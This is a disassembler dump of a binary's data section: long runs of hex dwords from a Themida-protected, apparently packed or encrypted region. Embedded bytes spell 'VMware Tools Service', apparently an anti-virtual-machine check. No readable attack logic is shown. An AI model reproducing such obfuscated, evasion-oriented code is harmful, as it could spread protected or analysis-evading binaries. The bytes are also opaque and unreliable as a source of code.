		dd 15235935h, 7411CE1Fh, 1DAB6348h, 9DCA044Bh, 19B3CC03h
		dd 9323D4A1h, 0A1A23C14h, 1526336Ah, 7411CEB0h,	0AACE639Fh
		dd 0D826334Dh, 9BA3BEF6h, 0C823DF6Bh, 0AFDBB624h, 67763638h
		dd 7F201AFFh, 94E2B030h, 0AFDBB617h, 157636A1h,	7411DE23h
		dd 0DD96356h, 9DC138CCh, 9826513Dh, 74AD666Ah, 0CE746464h
		dd 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch
		dd 13EF002Bh, 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h
		dd 5AAD63E8h, 982C8800h, 9BCF33A9h, 6F2633D4h
dword_591B68	dd 66A57D89h, 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh
					; DATA XREF: Themida_:00560F4Do
		dd 67D9FDD6h, 0C6E7B856h, 517F6C8Eh, 152637A8h,	7411D888h
		dd 0B8ABBE9Fh, 2023DF74h, 93h, 71E7FC78h, 0D0073102h, 4C783C8h
		dd 0F2850F49h, 8DFFFFFFh, 0EC3920B5h, 3F8D8D05h, 2B05EC39h
		dd 5E983CFh, 0DE8C88Bh,	0C8000000h, 1C646C59h, 0DDD4E703h
		dd 0EF30223h, 13E9h, 0E6D15500h, 76B79A30h, 0AC741532h
		dd 0FCBDA3D8h, 0ABA57B70h, 9BD895Ah, 8105E72Eh,	6FF5C2h
		dd 6860F00h, 1000000h, 0E72B5D95h, 0F6D0B905h, 0E9813D2Eh
		dd 3D2EDAFBh, 8BD9B70Fh, 0A1B58932h, 8105E722h,	0E5DFA8F6h
		dd 0BA666063h, 858BECAEh, 5E727B9h, 0EFC68161h,	8B4FFADEh
		dd 0E72C8DBDh, 9EF68105h, 6679CB38h, 293CDF81h,	17C9BF56h
		dd 28F0D24h, 2BAD9D8Bh,	0EA8305E7h, 0D7816604h,	0E9814B5Dh
		dd 1, 0FFAD850Fh, 0B509FFFFh, 5E70C11h,	0D9BC5420h, 0E349AD9h
		dd 1329594h, 18AD3B08h,	8235D525h, 0E61A07BFh, 853F3204h
		dd 1303290h, 801A7C9h, 88D937C7h, 67303212h, 0C598D089h
		dd 2534BB54h, 0E9633268h, 1303202h, 5AF369A0h, 5146EC9h
		dd 51476A1h, 1303206h, 0FF3614Bh, 675095E5h, 0E21AEB83h
		dd 13021E8h, 0BFF48280h, 3361195Dh, 26DF7556h, 0E6E9815Ah
		dd 80C3D9D2h, 4D313D65h, 15ACC26h, 133DA57h, 5F103280h
		dd 75B96C83h, 45B13604h, 1293634h, 57763208h, 7C4C4C7h
		dd 574FA256h, 0B4036CFDh, 4D730B1h, 52305818h, 13031C8h
		dd 0C26B1210h, 256CBB53h, 2574B300h, 1302406h, 0C2637101h
		dd 8A1DC7D7h, 0E63417DDh, 7B93D25h, 0A303210h, 0E63AC7B5h
		dd 0F98F3D01h, 0E81CF281h, 1303208h, 1BA2E240h,	0B217AC22h
		dd 0F3873D84h, 15A3A9Bh, 133DA5Ah, 5B103204h, 55B968C1h
		dd 45B13625h, 12736A4h,	53723240h, 0C11CEFE3h, 0BCAD1BB8h
		dd 6735D521h, 0E93EEC85h, 0FD78B964h, 13026E9h,	39C07380h
		dd 99ED61E9h, 2D2E8512h, 0F9E7136Bh, 0FEF89C7Bh, 0ABC2891Ch
		dd 676E5BB4h, 0FE060B80h, 0B68Fh, 15A3240h, 133DA73h, 5A103210h
		dd 5DB969CBh, 45B13620h, 1253626h, 52733201h, 67B04343h
		dd 255DD8C1h, 6B39F3A3h, 2D86210h, 21303208h, 8868F15Ch
		dd 80341646h, 1A341645h, 41303280h, 94EBF110h, 53020714h
		dd 38B06F3Dh, 20B53DE1h, 6B303205h, 2D86202h, 21303201h
		dd 8868F1D8h, 80341604h, 1A341664h, 41303210h, 0DB9DF158h
		dd 0C3B9271Dh, 40BBFA84h, 52305800h, 1303168h, 0C26B1240h
		dd 256CBB7Bh, 2574B314h, 1302E0Ch, 0C2637104h, 0D55C9B39h
		dd 64CCF2C1h, 7B13DBDh,	8A303240h, 0E63F439Dh, 6BF83115h
		dd 2D86508h, 21303204h,	886FF15Dh, 8034167Dh, 1B3416C4h
		dd 46303240h, 4427F177h, 0B11CDF79h, 20851BDAh,	8A35D527h
		dd 0E623EF9Fh, 4F1B104h, 0E96532EAh, 1303243h, 5CF36F00h
		dd 5145E99h, 5147689h, 130321Dh, 0D2F36747h, 8A2A078Dh
		dd 9109B3D9h, 0EBB710Bh, 13059A5h, 50305810h, 13031E0h
		dd 0C2691204h, 257CBB5Bh, 2574B305h, 1302984h, 0C2617340h
		dd 372B3C76h, 91147A06h, 0AC5A721h, 8CBD37E3h, 4D77FF8h
		dd 288FDB3h, 6B303280h,	2D86440h, 21303220h, 886EF14Eh
		dd 8034167Ch, 18341640h, 47303202h, 0D279F157h,	0A5DEEC32h
		dd 1D7D8FCBh, 8C0137C7h, 4D729F1h, 9C1BD3F7h, 4D71C59h
		dd 54305863h, 13031E9h,	0C26D1280h, 255CBB1Dh, 2574B324h
		dd 1302E14h, 0C2657708h, 0F61BB958h, 0D0EFD984h, 80AD1BC9h
		dd 0E935D58Ch, 1303250h, 0E885C17Fh, 1869CD1Fh,	66486F02h
		dd 0F6E74446h, 120BE0Dh, 0AD93201h, 85303280h, 0F2A7F3EDh
		dd 62CDCBADh, 8C6ADC6Bh, 0ED09D9B5h, 13BDBF01h,	0B935DE3Fh
		dd 0A2B175h, 1555B7B3h,	0CE1B37A7h, 0D9BC5420h,	0E349AD9h
		dd 1329594h, 18AD3B08h,	8235D525h, 0E61A07BFh, 833F3204h
		dd 0A4F305E9h, 6AC08Bh,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 965BD7C3h, 0E266F1A9h, 0BD030401h
		dd 5E7128Dh, 8E8C38Bh, 8000000h, 0EA4E5EB0h, 0FC119566h
		dd 13E9605Fh, 0E5000000h, 60B142D8h, 987E5E20h,	9986951Dh
		dd 0E75E3B1Bh, 52530B49h, 81615F5Fh, 7004C7h, 618D8B00h
		dd 0BB05E70Bh, 2B177391h, 6840F381h, 0B5092B17h, 5E71295h
		dd 2CB937FFh, 5842CDC1h, 0F7EBF681h, 0F0813B51h, 19607585h
		dd 2880C081h, 880F5DFAh, 3, 81D0B70Fh, 14D960E8h, 0E9BD8963h
		dd 5005E703h, 0F9078FF5h, 0B928EF81h, 95897FA3h, 5E729BDh
		dd 0B924C781h, 958B7FA3h, 5E72291h, 0F01EB83h, 1A85h, 0D7D28100h
		dd 0E9187163h, 1Fh, 1D376E81h, 657AD2Ah, 0FF808A05h, 0B2681A80h
		dd 0FF8AE9E6h, 54EAFFFFh, 0AF0F1904h, 0E8D1FBC6h, 0Ah
		dd 578F9A98h, 0D10C8178h, 8B167DFh, 0D19D315Ah,	8105E732h
		dd 6017C2h, 850B5600h, 5E70485h, 6859h,	0C18B0000h, 699D895Eh
		dd 0FF05E732h, 81661634h, 5FDAFBD1h, 528FF781h,	7E81AE5h
		dd 81000000h, 990B7116h, 11E8BBB6h, 0D0000000h,	4FFB044Eh
		dd 72EE8489h, 0EC72C644h, 8765EE01h, 81595BF9h,	70AF29C7h
		dd 0C9858B6Fh, 8105E72Ch, 0A86B7FEFh, 0C0816650h, 15771EDh
		dd 0E7278DBDh, 32048F05h, 1671B966h, 0EE81DE8Ah, 1E599818h
		dd 61858B60h, 6605E721h, 0D4DC081h, 14C68161h, 0E91E5998h
		dd 9, 0B56504A0h, 0FBF09A4Bh, 0D0FE81EBh, 0FFFFFA0h, 1285h
		dd 5D8D0100h, 0E905E716h, 23h, 5FB33035h, 33BE9E5Bh, 0E701658Dh
		dd 0FF55E905h, 0DEBAFFFFh, 7BA00166h, 0F75A9875h, 0F37CC71Fh
		dd 6DB52740h, 97F6E164h, 725E8877h, 46160999h, 10BF0101h
		dd 8064606Eh, 34346007h, 42F73824h, 910248Dh, 82102485h
		dd 43346012h, 0A0F73044h, 6DBF97C4h, 6DD37C71h,	394DDD87h
		dd 6F3465E3h, 1889E30Dh, 86318718h, 10647970h, 0A28CA08Fh
		dd 59346000h, 8F27B581h, 0A9ED01h, 0E53189AEh, 8E6C3BD7h
		dd 612875B9h, 54406001h, 0A28C3354h, 59346000h,	8F27B581h
		dd 17A9ED01h, 0E53189A3h, 676C3BD7h, 85DC3704h,	63346004h
		dd 286BA35Bh, 51304478h, 70304440h, 73346004h, 0B3F6A353h
		dd 86CC7861h, 612371B9h, 13340A01h, 0A13463ECh,	136C4004h
		dd 4C70E95Ch, 1070E100h, 1A347800h, 0CE642004h,	827A4Ah
		dd 5E895360h, 0C731872Ah, 0F723A785h, 0D5BFA08Fh, 31D340C1h
		dd 70ECEC62h, 0EDC3104h, 0A6346004h, 0CA6DA35Dh, 20304448h
		dd 0CA304440h, 29346004h, 7940A355h, 42D0F6C8h,	0D2488FCh
		dd 70866004h, 0FF0FC191h, 0EB599ECBh, 3C8576C5h, 0A3B4C84Ah
		dd 309C3FADh, 19CDE40Bh, 90BF6004h, 83D34D15h, 6901DD87h
		dd 0AE3465E3h, 0D0347180h, 0D3F7E104h, 0DD6F325Fh, 1A3463DFh
		dd 0F79F58Fh, 868A65E3h, 29366023h, 0A2DC3104h,	0F0346004h
		dd 0E16DA35Dh, 0B5304448h, 6304440h, 4C346004h,	22EDA355h
		dd 0BDBA6546h, 9025351Ah, 3738CD91h, 0A6B1ED01h, 5E318A69h
		dd 19DC3204h, 2D346004h, 0F6EA35Eh, 0C2304450h,	0BC304440h
		dd 92346004h, 2AF7A356h, 961454BEh, 62A51640h, 6C540064h
		dd 0F55A38Fh, 0A421A191h, 71CB0101h, 0C24DF58Dh, 0A8B165E3h
		dd 34A1E40Bh, 1A5E6004h, 0D378857h, 0DD146004h,	1FBD3BC7h
		dd 0E5B56420h, 0D02C6420h
		dd 3B776004h, 44AA6C7h,	0A53BE086h, 5A0CE1CDh, 89CFE162h
		dd 43344B81h, 20529C04h, 0B6BEA2C6h, 6A301885h,	6BB06F06h
		dd 4C346007h, 0D3472EDh, 0A0E34F04h, 9A35F1D5h,	0CBF4E71h
		dd 0F6EC99EAh, 3378C1C8h, 0A80CE162h, 2AB16F64h, 24346004h
		dd 6111A999h, 0C3EDEB01h, 0AEDC627Ch, 0D0347E81h, 0EDED104h
		dd 34321885h, 0AB16FAFh, 86346004h, 0B78961CFh,	0AA318718h
		dd 0A134630Ah, 6EAAA584h, 2E356104h, 343468EDh,	0B0A07704h
		dd 0C6D52A89h, 48B1ED63h, 0CA318A69h, 46119991h, 0DCDEE101h
		dd 97155BCFh, 67340AD4h, 1A3463ECh, 0CE6F4004h,	0A268E95Fh
		dd 6770E100h, 0A1347400h, 13672304h, 0A1B506A0h, 0F4B1BB64h
		dd 184DE40Bh, 0DDBF6004h, 0BB525885h, 0C63B6206h, 0A134601Ch
		dd 1FBA59BDh, 6E4CE13Fh, 4E6B5D62h, 18A8E40Bh, 0B0BF6004h
		dd 83D347B5h, 0DF0CE162h, 3AB16F64h, 0BA346004h, 6BDC3504h
		dd 14346004h, 9369A359h, 8C304468h, 9D304440h, 6346004h
		dd 0F9F7A351h, 26C92A95h, 67C1E62Ah, 4CB4B1B3h,	9F3B8806h
		dd 0D34606Eh, 863470ECh, 4B621104h, 79B6F849h, 3EFF022Dh
		dd 303290CBh, 343988FEh, 6B4D6004h, 0CE1A1DE0h,	0C6FDB83h
		dd 0C836A082h, 461F2D99h, 0B66F3B01h, 68321885h, 1BB16FC4h
		dd 93346004h, 0EA11A181h, 73A9EB01h, 0AA318709h, 0A134620Ah
		dd 3867606Eh, 68346007h, 6FF73B24h, 1E103C8Dh, 9102485h
		dd 86346012h, 3AF73347h, 0A18A4FF7h, 0BA4A6105h, 6BDC3004h
		dd 14346004h, 936CA35Ch, 8C304440h, 93304440h, 3346004h
		dd 0CA82A354h, 0F1FDDD37h, 0EDB965E3h, 31DE0DCAh, 0F263606Eh
		dd 0D346007h, 0D9F73F24h, 47101C8Dh, 0A5102485h, 0D034601Fh
		dd 1DF73743h, 0FF992DCh, 0E528509Ch, 5F340AD4h,	863463ECh
		dd 806E4004h, 8560E95Eh, 0F470E100h, 68347600h,	0F7662204h
		dd 93979BECh, 0EA055591h, 558B6F01h, 0C73BA081h, 0A134612Fh
		dd 3866606Eh, 68346007h, 6EF73A24h, 1E10348Dh, 9102485h
		dd 86346019h, 15F73246h, 0B6D45536h, 57F3B0FFh,	0B1A1EB8Bh
		dd 0BE318718h, 0F20CE0F4h, 0DA5E50Bh, 865E6004h, 43378857h
		dd 0FA146004h, 8CBD3BC7h, 2CB56420h, 34216420h,	49776004h
		dd 0E437FBC7h, 8634600Eh, 9B3D2D0Fh, 9DEB00D2h,	0D983B644h
		dd 1B311884h, 346DE50Bh, 1A5E6004h, 0D378853h, 0D9146004h
		dd 3FBD3FC7h, 0E5B56420h, 0D02F6420h, 3F736004h, 84D9C5C7h
		dd 0E6823049h, 8DE9D287h, 8967677Ch, 4334B180h,	0F3340A04h
		dd 0D03463ECh, 0AB6E4004h, 1060E95Eh, 3E70E100h, 0D347600h
		dd 45662204h, 0C8532D55h, 463CA999h, 9DA1EB01h,	0E318735h
		dd 31BB5885h, 1A6DE50Bh, 0B0BF6004h, 83D3418Dh,	0DE41DF62h
		dd 0C9321884h, 0D071E50Bh, 0E5BD6004h, 31D34575h, 114CE162h
		dd 883B45FBh, 86346037h, 0AB63606Eh, 0A1346007h, 8FF73F24h
		dd 6C101C8Dh, 30102485h, 1A34601Eh, 0DFF73743h,	255961D9h
		dd 0C6BD59C4h, 0A4D3466Dh, 0D03429EDh, 2DA16104h, 8C318725h
		dd 1A346004h, 0E565606Eh, 86346007h, 1AF73924h,	0A5102C8Dh
		dd 0D4102485h, 68346012h, 70F73145h, 0F264EF94h, 0D34600Eh
		dd 0BE32B090h, 900E516Bh, 163B8071h, 396E3FFBh,	6834601Ah
		dd 5C5ED37h, 1B8C65E3h,	0E5346004h, 86346001h, 6829DEC0h
		dd 8A96B55h, 8A318711h,	0E2A45BB6h, 0BF5430ECh,	0C8C06F6h
		dd 67A40149h, 85DC3304h, 63346004h, 286FA35Fh, 51304458h
		dd 7F304440h, 77346004h, 0D6ABA357h, 0B7523DCCh, 3BB9FDF1h
		dd 46D85F12h, 0E5E1ED89h, 0F38C65E8h, 6B430651h, 0D3216D81h
		dd 8AFB4B01h, 4A6105A1h, 0DC3004BAh, 3460046Bh,	6CA35C14h
		dd 30444093h, 3044408Ch, 0E9830493h, 58A4F305h,	89D6BF0Fh
		dd 0E72C8D8Dh, 0FC00B05h, 1C84h, 0C99D8900h, 8D05E72Bh
		dd 0E74DFAB5h, 3B805h, 958B0000h, 5E72259h, 0BF0FE6FFh
		dd 6A40D0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0F48A8DC3h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 149FF7C3h, 1DD8D600h
		dd 85899E55h, 5E719D1h,	0D79BD83h, 750005E7h, 15BD8309h
		dd 5E71Ch, 53501974h, 3B8C08Bh,	89000004h, 0E70F2D85h
		dd 9B9D8D05h, 0FF05E9AAh, 83585BD3h, 0E71C15BDh, 17740005h
		dd 3B85350h, 89000004h,	0E70F2D85h, 3C9D8D05h, 0FF05E9A7h
		dd 6A585BD3h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 49A8C352h, 6A44C586h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 39CFC356h, 0B77F2485h, 54503BC5h, 0C561A1BAh, 85B58908h
		dd 8B05E706h, 68E0FC0h,	31000000h, 0E70EF59Dh, 4EB6105h
		dd 5D938C58h, 5C0E9h, 70467200h, 7B5B73D8h, 79414ED5h
		dd 7D4148D7h, 7C5A44D3h, 0FEB2C1ECh, 0F9468AB0h, 0F9468AB2h
		dd 0F75C8CACh, 6A5FF1D5h, 0A4EB5D78h, 0BDE8C699h, 547A52CDh
		dd 0CBF23A72h, 233A135Dh, 89B1FEC0h, 98B09FB1h,	2572BBFh
		dd 5F77CCC5h, 7536F67Ah, 53BC8DC3h, 0C6E8200Fh,	4074A38Ch
		dd 0EED0137Ah, 59A58581h, 2EDBFFEEh, 951BBE66h,	0AEC37536h
		dd 3610985Dh, 0C213C375h, 0BA9C8CE3h, 0FB4D6810h, 0F8C37536h
		dd 0BB804CAFh, 0B19EB292h, 0D12B494h, 81E83606h, 24135CA2h
		dd 25B6CA10h, 260607A5h, 2B0B1D2Ah, 0FCC08BA3h,	8E28460Dh
		dd 764468A3h, 17EAD417h, 0C3754BA2h, 242CAA3Dh,	67D8E5ACh
		dd 7E98h, 7A522A00h, 0CFB30654h, 5EC375E2h, 0F818B0Fh
		dd 3D67D98Eh, 0Dh, 0A1818A95h, 1525125Dh, 5497E0C9h, 44785202h
		dd 0CE1F635Bh, 7456A1FDh, 0E2268A2Fh, 6AA3C375h, 4415744Ah
		dd 8CD42A7Bh, 99DB0EB4h, 0B0F34FDBh, 49744A5Dh,	91DE3C0Dh
		dd 0BF9F8EA8h, 7540106Eh, 0C375DA83h, 4E78B780h, 0D1923208h
		dd 0D7597CA9h, 0ECC375DAh, 0ECFFB283h, 704C5EEAh, 0C22B7747h
		dd 0D8F05FF1h, 35B65AF6h, 773DD67Dh, 48ABDB9Bh,	0C11D3D65h
		dd 0A8F6D4F6h, 91335704h, 90BF91A9h, 7F4896B8h,	0FC2C7332h
		dd 0C0A584DAh, 0C3756E78h, 0DBC72A7Bh, 634C92E3h, 0CE390529h
		dd 0E4A0FEDCh, 0B39F23A7h, 486EBC83h, 745C7A6Dh, 67D900ECh
		dd 0B0F8h, 5F49D600h, 0EBCA237Fh, 566452FFh, 0D6E6D37Ch
		dd 7C42A188h, 0E8360633h, 50AE8E9Fh, 3B072767h,	43FEE2DBh
		dd 39F07AC4h, 0DAFF28AEh, 0C3754D56h, 7C331C6Dh, 0F0B86D6Dh
		dd 754D5325h, 101950C3h, 0B19CDF28h, 567FAF89h,	0A0566505h
		dd 1C6DBE65h, 0ED3F00CCh, 6A1D39C0h, 116294E4h,	5281FCCDh
		dd 3F085664h, 66F2C8ECh, 38E025A5h, 75642B9Dh, 0C7D628C3h
		dd 7FEE9CAAh, 0E1B4F7C0h, 67D96A7Fh, 736Dh, 64527900h
		dd 0EE3F0856h, 7734F0CEh, 0F1C9F153h, 0A4B76D9h, 75E2D9AFh
		dd 0B889DAC3h, 0FA240B62h, 0A353E1DCh, 9D69108Bh, 74B7B71Fh
		dd 44785262h, 0D01F635Bh, 0BA8BD4FAh, 0E22C9164h, 94B7C375h
		dd 0E204ECC9h, 0CE1FC375h, 6956A1FDh, 2A7B434Fh, 771358D4h
		dd 0D9E1E0CBh, 0D98E61F3h, 126367h, 0C37B0000h,	0A660D1EDh
		dd 9B3E90B4h, 0C3755D15h, 0C89EDD2Eh, 9556552h,	0F2C8EE3Eh
		dd 2F7D1DCEh, 7976DAE2h, 9D389273h, 0C95D1310h,	0DFA1743Ch
		dd 4AC692D0h, 42937C42h, 0BF6E9878h, 1D589EF4h,	34035FA8h
		dd 311E3214h, 3D073E17h, 0C7928DACh, 61D5A8F6h
		dd 4BC692C3h, 0E22A8600h, 0E5270CDCh, 5DD5FDC1h, 92E3E84Ah
		dd 46B4A10h, 93DC2204h,	7D4A90A4h, 0CE390535h, 4803FFDFh
		dd 0CD1DF54Eh, 0D861DE20h, 5670FB8Fh, 5C8CD2FAh, 0A79D8F90h
		dd 30735C78h, 0F1EFEB65h, 16CD961h, 2ED0000h, 12A72FEEh
		dd 0C95CF725h, 624444EBh, 1D61B203h, 74D4FAD2h,	85D9FD2Fh
		dd 6E4C92BAh, 0DD211901h, 4B97A792h, 25030F62h,	0ACF2C3E3h
		dd 0C50E88C3h, 92F608F0h, 0E93A0BC6h, 0D8686EDDh, 6D62EEF0h
		dd 61F27AF3h, 4CD1h, 65A68900h,	35706645h, 0DF1E3C6Ah
		dd 6484BA0h, 75E31DB3h,	794596C3h, 75E23C84h, 4D4DFEC3h
		dd 0B191A098h, 0BBB201C2h, 0E5A64578h, 0AAB0C8EDh, 0E233C375h
		dd 36FEA66Eh, 75AB1DE3h, 60C516C3h, 0C375AB98h,	686B4A9Bh
		dd 0D6h, 26EE02BEh, 9E7DF84Ah, 6D65B6DAh, 50D8FDA5h, 0AAC375E3h
		dd 75E3B90Fh, 9869BAC3h, 0CEB2074Fh, 0C5C375E3h, 0CBD0B9F4h
		dd 88C95CE9h, 4A6F17BFh, 0C692E5E6h, 9F3AACFDh,	0C692E529h
		dd 0A49AD92Ah, 0E36D715Bh, 5D4C7454h, 0FBC42579h, 7D073FA7h
		dd 0A0DEA8EFh, 492C8DE8h, 6FC6922Ch, 1E0E9A3Ch,	955B1038h
		dd 5571DEF0h, 78DBE37Ch, 44953A37h, 9AA56D69h, 7950AEACh
		dd 83C1D221h, 0F635CE01h, 850CBA11h, 33864ECCh,	0C8A6884Dh
		dd 1C206B46h, 4A3E9B33h, 49C8A688h, 61483D78h, 0ED31023Ah
		dd 5E2D4DE5h, 0EF330B37h, 3E35449Eh, 0A7E1CC2Fh, 5407BB87h
		dd 61AEF132h, 89671A59h, 351AC284h, 9DEC3212h, 17566452h
		dd 0B1FFDBB2h, 1B0629C2h, 2273C023h, 0D357A2Eh,	75E2C0A8h
		dd 0B3F2C3C3h, 953DE00Ch, 6228AD00h, 207C46C9h,	457E3F46h
		dd 4EB985D6h, 2CD0785Eh, 0F33CEC14h, 6C4F306Fh,	0DB270701h
		dd 19FE7566h, 5D7D6C1Eh, 4BC990A8h, 121A34DAh, 94ACFCD3h
		dd 7851ADA9h, 0D27D212Fh, 0B49BDAF8h, 646CB294h, 47DAF3DBh
		dd 9A9F4AFh, 2B146ABBh,	0B2F1C2E2h, 66684C5Fh, 5E47DDCEh
		dd 0D615BE37h, 8307D4E8h, 9C7E721h, 0EFDAEA22h,	64A493EFh
		dd 0DA207142h, 381h, 6F232900h,	0A506652h, 0F7CBEB3Dh
		dd 5FA38388h, 0CD112510h, 0B886B4E2h, 277B434Fh, 91EDF1D8h
		dd 7D4179A6h, 0E43A1832h, 0E7895702h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 53240489h, 0C381E389h,	4, 8704EB83h, 895C241Ch
		dd 89562434h, 4C681E6h,	83000000h, 348704EEh, 14895C24h
		dd 0B8505324h, 7F2873F1h, 780DD8F7h, 35104C3Dh,	9533FB5Fh
		dd 8958C389h, 8B545BDEh, 0C4812414h, 4,	4D4068h, 24348900h
		dd 0FF08428Fh, 835A2434h, 348B04C4h, 0E6895624h, 4C681h
		dd 0C6810000h, 4, 5C243487h, 0FB319EE9h, 0E22E1AFFh, 0B38B64F9h
		dd 4B4CB848h, 0C50305ECh, 7AC3E0FFh, 13B10D28h,	0BB1761E1h
		dd 8C9219F0h, 8A76BE3h,	6AA458C0h, 65C06D10h, 9704CAFh
		dd 0F67F0B55h, 35630762h, 0FF7D679Ah, 13837A78h, 0A5471251h
		dd 0BC12239Eh, 6748789Fh, 110058FFh, 0C3FA65EDh, 25C24BDBh
		dd 0E6D9590Fh, 94B00468h, 50194FBDh, 8D8D49BEh,	5EC4D15h
		dd 89C78B66h, 0E723158Dh, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 9A8DFA4Dh
		dd 0B76D2DE2h, 0C7BF0FA3h, 8B985C7h, 5A1405E7h,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 2EEBE7C3h, 81C67561h, 85C79A52h, 5E70C99h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0DCC35343h
		dd 3119FEE3h, 8B0F9DBCh, 3, 8BDEB70Fh, 0E7254585h, 19B5FF05h
		dd 0BA05E72Bh, 74A68C9Eh, 32CD95FFh, 6A05E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 818107C3h
		dd 6ABCB07Bh, 1D95FF00h, 8B05E71Ah, 0F00CEBC0h,	171E7039h
		dd 9E5D6819h, 8DE25488h, 0EC4DB48Dh, 0F5B86605h, 89AEB3A6h
		dd 0E723158Dh, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0C7CF5A40h, 0E708B985h
		dd 5C0005h, 0EE805100h,	85C75FE2h, 5E70C99h, 0
		dd 1F99D8Bh, 0B5FF05E7h, 5E7017Dh, 48F0Fh, 0BA660000h
		dd 95FF5478h, 5E732CDh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0D6C35747h, 2801958Bh, 6A05E7h, 1A1D95FFh
		dd 0C08B05E7h, 0D04D3BEBh, 13CDDAF9h, 0D12E9B48h, 3EDDB169h
		dd 12DE8E25h, 7DFB6239h, 0F06712Bh, 7C0C16D2h, 561D4B46h
		dd 0B841274Ch, 1120D9D2h, 0B1979F30h, 0B4C4F623h, 29198615h
		dd 994E9F11h, 699D8DD3h, 0B805E717h, 39h, 23398589h, 0E805E7h
		dd 58000000h, 0D05h, 0E9038900h, 39h, 0Eh dup(77E60000h)
		dd 0B0E9FFh, 66600000h,	0C2F6DA8Ch, 0C850F04h, 3B000000h
		dd 0E70C2585h, 36840F05h, 3B000000h, 0E713C585h, 2A840F05h
		dd 3B000000h, 0E705F185h, 1E840F05h, 3B000000h,	0E70D5D85h
		dd 12840F05h, 83000000h, 0E71781BDh, 840F0105h,	5, 5FE9h
		dd 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h
		dd 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h
		dd 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h
		dd 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 0E74DFA9Dh, 5B805h
		dd 0E3FF0000h, 0D00BC361h, 4FB48D8Dh, 6A05ECh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0E8B986C3h, 0Ah, 47EC78FCh, 0B3A19DF5h, 8C0F9B7Eh, 6
		dd 51DBD8Bh, 895A05E7h,	0E723158Dh, 6800F05h, 8B000000h
		dd 0E72E8595h, 86F68105h, 0C76A9AF0h, 0E708B985h, 662005h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 85C7F0D1h, 5E70C99h, 0
		dd 19ED9529h, 0B5FF05E7h, 5E719E5h, 4BDB531h, 95FF05E7h
		dd 5E732CDh, 0BD99589h,	6A05E7h, 1A1D95FFh, 0C08B05E7h
		dd 0A2D0BEBh, 0AC1F96E9h, 0ACD438D5h, 566CEBB8h, 7261774Dh
		dd 6F542065h, 20736C6Fh, 76726553h, 656369h, 13h dup(0)
		dd 0CA000000h, 140E716h, 0E9000000h, 1045h, 0EC523F68h
		dd 0F4F5E905h, 5068FFFBh, 0E905EC53h, 0FFFBF4EBh, 0EC551068h
		dd 0F4E1E905h, 4F68FFFBh, 0E905EC55h, 0FFFBF4D7h, 0EC560868h
		dd 0F4CDE905h, 9768FFFBh, 0E905EC56h, 0FFFBF4C3h, 0EC5AF668h
		dd 0F4B9E905h, 8768FFFBh, 0E905EC5Dh, 0FFFBF4AFh, 0EC5ECA68h
		dd 0F4A5E905h, 47DAFFFBh, 98A385EEh, 0F90E7A43h, 51D5D338h
		dd 0ABB1B79Ch, 0C97E157Eh, 0B69F4CD0h, 6875AEB2h, 0C02D0A18h
		dd 0BB805DE0h, 0B7CB8023h, 1C351A20h, 6D663972h, 351A2011h
		dd 9B30B3BAh, 351A2067h, 0F7A465CCh, 1A77BACEh,	681CD56Ah
		dd 0A4653F65h, 0D554899Ch, 8A08187h, 1235992Fh,	0B767B768h
		dd 0A1A48212h, 3557674Ch, 5F460FFEh, 0FE36DDD0h, 2F1DD66Ah
		dd 0AFDC415h, 4D96DBBh,	11D0235Fh, 0DEA18835h, 11D079F5h
		dd 8E1BD235h, 0D0EF6FF6h, 42D93511h, 0F309DFE9h, 0D0D915BEh
		dd 0FB723511h, 0CE87D890h, 3511D0B0h, 654DD01Bh, 0E74317D5h
		dd 1E8FC257h, 5A747400h, 0F5000000h, 7F7E62E7h,	0B37C34E5h
		dd 0A60AA6F5h, 0FACEB4E1h, 37F08861h, 31FA1892h, 92A9FF4Eh
		dd 43C42F59h, 0DD8CFF02h, 4EC25636h, 27121317h,	211D214Fh
		dd 7DE47D9Bh, 83F35A12h, 0E735115Eh, 13A9FB0Bh,	0ACF790AAh
		dd 0D3C9F1EAh, 861DB3C9h, 63EE8C1Dh, 74006Eh, 0DEh, 7DB24B47h
		dd 8A5FE543h, 331B91F2h, 92A66E1Fh, 540109FBh, 2C37B937h
		dd 1FD0557Bh, 17C458ACh, 6F35925Dh, 42AB8499h, 0F6062819h
		dd 805DE030h, 9B50EB21h, 3AC3250Eh, 0ACF8CBE5h,	0EEE7469Bh
		dd 30F60790h, 1797303Bh, 0FC4F3EF5h, 74AA02Dh, 868430F6h
		dd 0BD2C17A1h, 0EDBC15B2h, 4436DDF3h, 0D4F680EDh, 8FDDAC1Fh
		dd 419EA77Bh, 24E54E66h, 77E3F63h, 7B607433h, 0D761267Ah
		dd 0B9359E61h, 1230F86Dh, 0D41F4EDBh, 2CFD0755h, 8E5BE1C7h
		dd 91F1C31Eh, 0E76070D9h, 0D72h, 2B30F574h, 889546DDh
